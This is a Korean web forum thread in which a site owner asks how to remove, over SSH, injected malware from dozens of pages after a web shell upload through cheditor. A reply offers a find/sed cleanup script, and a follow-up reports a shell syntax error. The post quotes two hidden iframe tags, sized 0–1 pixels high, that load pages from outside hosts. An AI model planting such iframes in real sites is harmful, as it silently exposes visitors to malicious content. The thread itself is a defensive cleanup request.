ssh로 사이트 악성코드 한번에 지울수 있나요?

· 14년 전 · 1064 · 2
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
 
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
|

댓글 2개

http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.

myreplace.sh 를 아래와 같이 만들고

chmod +x myreplace.sh 로 퍼미션 설정 후

실행해 보세요.

sh myreplace.sh 또는 ./myreplace.sh

#!/bin/sh

for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done


라 뜨네요..
댓글을 작성하시려면 로그인이 필요합니다.

프로그램

+
제목 글쓴이 날짜 조회
14년 전 조회 1,802
14년 전 조회 1,207
14년 전 조회 1,471
14년 전 조회 982
14년 전 조회 1,128
14년 전 조회 931
14년 전 조회 1,246
14년 전 조회 1,137
14년 전 조회 563
14년 전 조회 719
14년 전 조회 761
14년 전 조회 1,089
14년 전 조회 918
14년 전 조회 930
14년 전 조회 895
14년 전 조회 1,307
14년 전 조회 1,001
14년 전 조회 1,021
14년 전 조회 1,052
14년 전 조회 844
14년 전 조회 1,880
14년 전 조회 1,658
14년 전 조회 1,080
14년 전 조회 927
14년 전 조회 1,999
14년 전 조회 1,352
14년 전 조회 1,195
14년 전 조회 949
14년 전 조회 1,649
14년 전 조회 3,915
14년 전 조회 2,560
14년 전 조회 1,270
14년 전 조회 873
14년 전 조회 941
14년 전 조회 1,457
14년 전 조회 1,127
14년 전 조회 1,483
14년 전 조회 1,565
14년 전 조회 1,570
14년 전 조회 765
14년 전 조회 1,009
14년 전 조회 2,894
14년 전 조회 907
14년 전 조회 1,378
14년 전 조회 972
14년 전 조회 835
14년 전 조회 1,382
14년 전 조회 821
14년 전 조회 1,479
14년 전 조회 1,065
14년 전 조회 1,739
14년 전 조회 1,657
14년 전 조회 1,167
14년 전 조회 1,393
14년 전 조회 1,105
14년 전 조회 1,785
14년 전 조회 1,400
14년 전 조회 1,368
14년 전 조회 1,646
14년 전 조회 1,548
14년 전 조회 982
14년 전 조회 1,046
14년 전 조회 811
14년 전 조회 995
14년 전 조회 1,730
14년 전 조회 2,484
14년 전 조회 2,402
14년 전 조회 2,028
14년 전 조회 1,559
14년 전 조회 1,643
14년 전 조회 1,419
14년 전 조회 1,682
14년 전 조회 780
14년 전 조회 1,420
14년 전 조회 777
14년 전 조회 1,229
14년 전 조회 997
14년 전 조회 2,119
14년 전 조회 889
14년 전 조회 2,741
14년 전 조회 1,113
14년 전 조회 970
14년 전 조회 3,050
14년 전 조회 833
14년 전 조회 1,109
14년 전 조회 643
14년 전 조회 959
14년 전 조회 734
14년 전 조회 1,434
14년 전 조회 857
14년 전 조회 1,241
14년 전 조회 861
14년 전 조회 785
14년 전 조회 760
14년 전 조회 1,472
14년 전 조회 943
14년 전 조회 834
14년 전 조회 853
14년 전 조회 1,514
14년 전 조회 1,533